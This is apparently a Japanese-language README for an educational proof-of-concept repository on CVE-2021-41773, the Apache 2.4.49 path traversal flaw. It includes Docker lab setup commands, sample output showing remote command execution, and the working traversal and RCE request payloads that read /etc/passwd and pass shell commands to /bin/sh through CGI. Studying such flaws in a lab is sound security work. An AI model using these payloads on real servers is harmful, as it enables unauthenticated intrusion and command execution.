
CVE-2021-41773(Apache HTTP Server 2.4.49)の包括的な分析。脆弱性調査、管理されたラボ環境での悪用、概念実証(PoC)の開発、根本原因分析、および教育および防御的なセキュリティ目的のための緩和策を特徴としています。
教育研究プロジェクト。 すべてのテストは隔離されたDockerラボで実施されました。あなたが所有していないシステムに対して使用しないでください。
| フィールド | 詳細 |
|---|---|
| CVE ID | CVE-2021-41773 |
| 影響を受けるソフトウェア | Apache HTTP Server 2.4.49 のみ |
| 脆弱性タイプ | パストラバーサル → リモートコード実行 |
| CVSSスコア | 9.8 (クリティカル) |
| 開示日 | 2021年10月 |
| 修正バージョン | Apache 2.4.51 |
Apache 2.4.49は、アクセス制御ルールを適用する前にURLエンコードされたパスシーケンス(%2e%2e)を正しく正規化できません。これにより、攻撃者はWebルートの外側にトラバースすることができます。CGIが有効な場合、トラバーサルを/bin/shに向け、POSTボディを介してシェルコマンドを提供することで、認証なしのリモートコード実行が発生します。
cve-2021-41773-poc/
├── Dockerfile # Intentionally vulnerable Apache 2.4.49 lab container
├── exploit.py # Python PoC — uses raw sockets to preserve %2e encoding
├── SETUP.md # Step-by-step lab setup guide
├── README.md # This file
└── report.pdf # Full exploit development report
docker build -t apache-vuln-2449 .
docker run -d -p 8080:80 --name vuln-apache apache-vuln-2449
python3 exploit.py
==================================================
CVE-2021-41773 PoC — Lab Use Only
==================================================
[+] Target reachable — HTTP 200
[*] Path Traversal — Reading /etc/passwd
[*] Status: 403
[-] Blocked (403) — server restrictions in place
[*] RCE — Executing: id
[*] Status: 200
[+] OUTPUT:
uid=1(daemon) gid=1(daemon) groups=1(daemon)
[*] RCE — Executing: whoami
[*] Status: 200
[+] OUTPUT:
daemon
[*] RCE — Executing: hostname
[*] Status: 200
[+] OUTPUT:
e4ccca07bee7
完全なセットアップ手順とトラブルシューティングについては、SETUP.mdを参照してください。
requestsライブラリは送信前に%2eを.に正規化するため、エクスプロイトが失敗します(400が返る)。このPoCはrawソケットを使用してHTTPリクエストをバイト単位で送信し、Apache 2.4.49が受信する必要があるエンコードされたトラバーサルシーケンスを正確に保持します。
トラバーサルペイロード:
GET /.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1
RCEペイロード:
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
...
echo Content-Type: text/plain; echo; id
ApacheはACLチェックの前に%2e%2eをデコードできず、リクエストを処理し、CGI経由でルーティングし、POSTボディをシェルコマンドとして実行します。
/にRequire all grantedAbdur Rehman Siddiqui
エクスプロイト開発 — タスク3
このリポジトリは教育目的のみです。著者はこの資料の誤用について一切の責任を負いません。